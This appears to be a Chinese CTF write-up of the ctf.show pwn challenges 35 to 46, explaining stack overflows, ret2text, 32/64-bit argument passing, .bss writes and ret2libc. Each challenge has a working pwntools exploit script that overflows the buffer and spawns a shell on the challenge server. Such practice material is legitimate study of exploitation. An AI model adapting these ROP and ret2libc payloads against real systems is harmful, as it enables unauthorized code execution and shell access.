# pwn35
# 题目:
32 位程序,只开启了部分 RELRO
发现又是这个信号处理机制,出现溢出错误使便会打印出 flag
dest
数组为 104 个,输入 105 个字符即可溢出
# pwn36
# 题目
32 位程序,只开启了部分 RELRO
直接利用 gets
溢出返回到 后门函数
即可
from pwn import * | |
from LibcSearcher import * | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28178) | |
flag=0x08048586 | |
p.recvuntil("want: ") | |
payload1=b"a"*(0x28+4)+p32(flag)#+p32()+p32()+p32()+p32() | |
p.sendline(payload1) | |
p.recv() | |
p.interactive() |
# pwn37
# 题目:
题目提示 “32位的 system(“/bin/sh”) 后门函数给你”
直接利用 read
溢出返回到 后门函数
即可 getshell
from pwn import * | |
from LibcSearcher import * | |
context(os='linux', arch='amd64', log_level='debug') | |
p=remote("pwn.challenge.ctf.show",28242) | |
flag=0x008048521 | |
p.recvuntil("ret2text&&32bit") | |
payload1=b"a"*(0x12+4)+p32(flag)#+p32()+p32()+p32()+p32() | |
p.sendline(payload1) | |
p.recv() | |
p.interactive() |
# pwn38(64 位堆栈平衡)
# 题目:
题目说明 “64位的 system(“/bin/sh”) 后门函数给你”
64 位程序,改成 8 字节大小即可,但是这里要考虑 堆栈平衡
所以需要再加一个 ret地址
来保存平衡
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process('./') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28279) | |
flag=0x0400657 | |
ret=0x0000000000400287 | |
p.recvuntil("easy ret2text&&64bit") | |
payload1=b"a"*(18)+p64(ret)+p64(flag)#+p32()+p32()+p32()+p32() | |
p.sendline(payload1) | |
p.recv() | |
p.interactive() |
# pwn39(32 位系统传参)
32 位传参 (先函数,再返回地址,然后是参数):
payload=padding+p32(system)+p32(system的返回地址)+p32(system的参数) |
# 题目
题目说明 32位的 system(); "/bin/sh"
这里调用的 system
需要 /bin/sh
当作参数,而系统里有,所以就可以直接用 32位传参
的方法来 getshell
exp:
from pwn import * | |
from LibcSearcher import * | |
context(os='linux', arch='amd64', log_level='debug') | |
p=remote("pwn.challenge.ctf.show",28163) | |
ret=0x08048356 | |
system=0x080483A0 | |
binsh=0x8048750 | |
p.recvuntil("ret2text&&32bit") | |
payload1=b"a"*(0x12+4)+p32(system)+p32(0)+p32(binsh) | |
p.sendline(payload1) | |
p.recv() | |
p.interactive() |
# pwn40 (64 位系统传参)
64 位传参:
payload=padding+p64(rdi_ret)+p64(binsh)+p64(system) | |
#64 传参需要利用寄存器 |
# 题目:
题目描述: 64位的 system(); "/bin/sh"
exp:
from pwn import * | |
from LibcSearcher import * | |
context(os='linux', arch='amd64', log_level='debug') | |
p=remote("pwn.challenge.ctf.show",28188) | |
ret=0x00000000004004fe | |
rdi_ret=0x00000000004007e3 | |
system=0x0000000000400520 | |
binsh=0x0000000000400808 | |
p.recvuntil("ret2text&&64bit") | |
payload1=b"a"*(0xa+8)+p64(ret)+p64(rdi_ret)+p64(binsh)+p64(system) | |
#这里需要考虑堆栈平衡 | |
p.sendline(payload1) | |
p.recv() | |
p.interactive() |
# pwn41( sh
与 /bin/sh
)
可以利用 sh
来代替 /bin/sh
system("/bin/sh")
:在 Linux 和类 Unix 系统中,/bin/sh
通常是一个符号链接,指向系统默认的 shell 程序(如 Bash 或 Shell)。因此,使用system("/bin/sh")
会启动指定的 shell 程序,并在新的子进程中执行。这种方式可以确保使用系统默认的 shell 程序执行命令,因为/bin/sh
链接通常指向默认 shell 的可执行文件。system("sh")
:使用system("sh")
会直接启动一个名为sh
的shell程序
,并在新的子进程中执行。这种方式假设系统的环境变量 $PATH 已经配置了能够找到 sh 可执行文件的路径,否则可能会导致找不到 sh 而执行失败。- 总结来说,
system("/bin/sh")
是直接指定了系统默认的 shell 程序路径来执行命令,而system("sh")
则依赖系统的环境变量 $PATH 来查找 sh 可执行文件并执行。如果系统的环境变量设置正确,这两种方式是等效的。
# 题目
题目描述: 32位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代
利用 sh
来代替 /bin/sh
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process('./') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28212) | |
echo_falg=0x80487B0 | |
system=0x80483D0 | |
#binsh=0x8048750 | |
sh=0x80487BA | |
p.recvuntil("ind something to replace it!") | |
p.recvuntil(" * ************************************* ") | |
payload1=b"a"*(0x12+4)+p32(system)+p32(0)+p32(sh)#+p32(echo_flag) | |
p.sendline(payload1) | |
p.recv() | |
p.interactive() |
# pwn42(仍然是 sh)
# 题目
题目内容: 64位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代
仍然是 sh
只不过是传参方式不同
exp:
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
p=remote("pwn.challenge.ctf.show",28224) | |
ret=0x000000000040053e | |
rdi_ret=0x0000000000400843 | |
system=0x000000000400560 | |
sh=0x0000000000400872 | |
p.recvuntil("ind something to replace it!") | |
p.recvuntil(" * ************************************* ") | |
payload1=b"a"*(0xa+8)+p64(ret)+p64(rdi_ret)+p64(sh)+p64(system) | |
p.sendline(payload1) | |
p.recv() | |
p.interactive() |
# pwn43(32 位 bss 段写入 /bin/sh
)
# 题目
题目内容: 32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法
发现有 gets 函数、system 函数,但是没有 /bin/sh
,那么需要我们自己输入 /bin/sh
,发现了 bbs
段上有 buf2
可以让我们写入 /bin/sh
到这个地方
而我们想要写入到 bss 段,就要将这里的地址当作 gets 的参数传入,那么我们就需要通过 ret 再次执行 gets
并且传入他的参数为 buf2
这里我们用到寄存器传参, pop_ebx_ret
(用 ebp 也可以,看起来和选择的是哪个寄存器关系不大),将这个地址放置在 32 位的返回地址处
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process('./pwn43') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28253) | |
buf2=0x804B060 | |
system=0x08048450 | |
get=0x8048420 | |
pop_ebp_ret=0x0804884b | |
pop_ebx_ret=0x08048409 | |
#binsh=0x8048750 | |
sh=0x80487BA | |
p.recvuntil("How to do? ") | |
p.recvuntil(" * ************************************* ") | |
#payload1=b"a"*(0x6c+4)+p32(get)+p32(pop_ebx_ret)+p32(buf2)+p32(system)+p32(0)+p32(buf2) | |
payload2=b"a"*(0x6c+4)+p32(get)+p32(pop_ebx_ret)+p32(buf2)+p32(system)+p32(pop_ebp_ret)+p32(buf2) | |
p.sendline(payload2) | |
p.sendline("/bin/sh") | |
p.recv() | |
p.interactive() |
这里 payload1 和 payload2 都可以,利用了寄存器传参并作为了返回地址
**25 年更新:** 这里是 32 位程序,可以不用寄存器传参数,只是用寄存器更容易知道返回函数的流程,但要注意, gets
和 system
的地址一定要用 plt 表的,直接用代码段里的会不行
exp:
from pwn import * | |
context(os='linux', arch='amd64', log_level='debug') | |
p=process("./pwn43") | |
#p=remote("pwn.challenge.ctf.show",28212) | |
system=0x8048450#0x8048779 | |
sh=b"/bin/sh" | |
bss=0x804B060 | |
gets=0x8048420#0x080487A1 | |
payload=b"b"*(0x6c+4)+p32(gets)+p32(system)+p32(bss)+p32(bss) | |
#gets 是第一个返回地址,system 是 gets 的返回地址,第一个 bss 是 gets 的参数(也是 system 的返回地址但不影响),第二个 bss 是 system 的参数 | |
p.recvuntil("*** \n") | |
p.sendline(payload) | |
p.sendline(sh) | |
p.interactive() |
# pwn44(64 位 bss 段写入 /bin/sh
)
# 题目:
题目内容: 64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法
这里可以利用寄存器(rdi)传参,先返回到 gets 函数输入 /bin/sh
到 bss 段,然后再调用 system 将 bss 地址传入;这个题有 puts 函数,也可以进行泄露 libc 地址来进行 getshell,不过我这里没有查找到对应的 libc 版本
exp:
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
p=remote("pwn.challenge.ctf.show",28297) | |
buf2=0x0000000000602080 | |
rdi_ret=0x00000000004007f3 | |
system=0x000000000400520 | |
get=0x0000000000400530 | |
payload1=b"a"*(0xa+8)+p64(rdi_ret)+p64(buf2)+p64(get)+p64(rdi_ret)+p64(buf2)+p64(system) | |
p.sendline(payload1) | |
p.sendline("/bin/sh") | |
p.recv() | |
p.interactive() |
# pwn45 (32 位 ret2libc)
# 题目
题目描述: 32位 无 system 无 "/bin/sh"
保护只开启了部分 RELRO
程序可以溢出,但是没有后门函数,那么我们可以通过泄露 libc 基地址自己构造执行 system 来 getshell
exp (本地一直打不通,远程选第 5 个库就可以打通):
from pwn import * | |
from LibcSearcher import * | |
context(os='linux', arch='i386', log_level='debug') | |
#p=process('./') | |
e=ELF('./pwn45') | |
p=remote("pwn.challenge.ctf.show",28154) | |
#libc=ELF ("/lib/i386-linux-gnu/libc.so.6") #若本地用自己环境的 libc 就可以打通 | |
puts_got=e.got["puts"] | |
puts_plt=e.plt["puts"] | |
main=e.sym["main"] | |
write_got=e.got["write"] | |
write_plt=e.plt["write"] | |
payload=b"a"*(0x6b+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4) | |
p.recvuntil("O.o?") | |
p.sendline(payload) | |
write=u32(p.recvuntil('\xf7')[-4:]) | |
log.info("write:"+hex(write)) | |
libc=LibcSearcher("write",write) | |
libc_base=write-libc.dump("write") | |
system=libc_base+libc.dump("system") | |
binsh=libc_base+libc.dump("str_bin_sh") | |
#libc_base=puts-libc.sym ["puts"] # 本地的 libc 用这个 | |
#system=libc_base+libc.sym["system"] | |
#binsh=libc_base+next(libc.search(b"/bin/sh")) | |
print(hex(system)) | |
print(hex(binsh)) | |
p.recvuntil("O.o?") | |
payload2=b"a"*(0x6b+4)+p32(system)+p32(0)+p32(binsh)#+p32(write_got)+p32(4) | |
p.send(payload2) | |
p.interactive() |
# pwn46 (64 位 ret2libc)
# 题目
题目描述: 64位 无 system 无 "/bin/sh"
最初想通过 puts 来泄露地址(因为参数少),但是没有找到正确的 libc 版本,转向利用 write 来泄露
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process('./') | |
e=ELF('./pwn46') | |
#libc=ELF("./64libc.so.6") | |
#libc=ELF ("/lib/i386-linux-gnu/libc.so.6")# 用这个的本地 libc 可以本地打通 | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28132) | |
puts_got=e.got["puts"] | |
puts_plt=e.plt["puts"] | |
main=e.sym["main"] | |
write_got=e.got["write"] | |
write_plt=e.plt["write"] | |
rdi_ret=0x0000000000400803 | |
rsi_r15_ret=0x0000000000400801 | |
#payload=b"a"*(0x70+8)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)#+p32(1)+p32(write_got)+p32(4) | |
payload=b"a"*(0x70+8)+p64(rdi_ret)+p64(1)+p64(rsi_r15_ret)+p64(write_got)+p64(8)+p64(write_plt)+p64(main)#+p32(1)+p32(write_got)+p32(4) | |
p.recvuntil("O.o?\n") | |
p.sendline(payload) | |
puts=u64(p.recv(6).ljust(8,b'\x00')) | |
log.info("puts:"+hex(puts)) | |
libc=LibcSearcher("write",puts) | |
libc_base=puts-libc.dump("write") | |
system=libc_base+libc.dump("system") | |
binsh=libc_base+libc.dump("str_bin_sh") | |
print(hex(system)) | |
print(hex(binsh)) | |
p.recvuntil("O.o?\n") | |
payload2=b"a"*(0x70+8)+p64(rdi_ret)+p64(binsh)+p64(system) | |
p.send(payload2) | |
p.interactive() |
exp2(用的 puts 泄露的):
from pwn import * | |
from LibcSearcher import * | |
#context(os='linux', arch='amd64', log_level='debug') | |
#p=process("./pwn46") | |
e=ELF("./pwn46") | |
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")#./64libc.so.6") | |
#libc=ELF("./64libc.so.6") | |
p=remote("pwn.challenge.ctf.show", 28236) | |
puts_plt=e.plt["puts"] | |
puts_got=e.got["puts"] | |
read_plt=e.plt["read"] | |
read_got=e.got["read"] | |
write_plt=e.plt["write"] | |
write_got=e.got["write"] | |
main=e.sym["main"] | |
load=0x000000000601FA0 | |
rdi_ret=0x0000000000400803 | |
ret=0x00000000004004fe | |
payload1=b"b"*(0x70+8)+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main) | |
p.recvuntil("O.o?\n") | |
p.sendline(payload1) | |
puts_got=u64(p.recv(6).ljust(8,b'\x00')) | |
log.info("puts_got:"+hex(puts_got)) | |
p.recvuntil("O.o?\n") | |
#本地 libc | |
#libc_base=puts_got-libc.symbols["puts"] | |
#log.info("libc_base:"+hex(libc_base)) | |
#system=libc_base+libc.symbols["system"] | |
#binsh=libc_base+next (libc.search (b"/bin/sh")) #这里一定要转化为字节,不然会报错 | |
#log.info("system:"+hex(system)) | |
#log.info("binsh:"+hex(binsh)) | |
#在线 libc | |
libc=LibcSearcher("puts",puts_got) | |
libc_base=puts_got-libc.dump("puts") | |
system=libc_base+libc.dump("system") | |
binsh=libc_base+libc.dump("str_bin_sh") | |
print(hex(system)) | |
print(hex(binsh)) | |
payload2=b"b"*(0x70+8)+p64(rdi_ret)+p64(binsh)+p64(system) | |
p.sendline(payload2) | |
p.interactive() |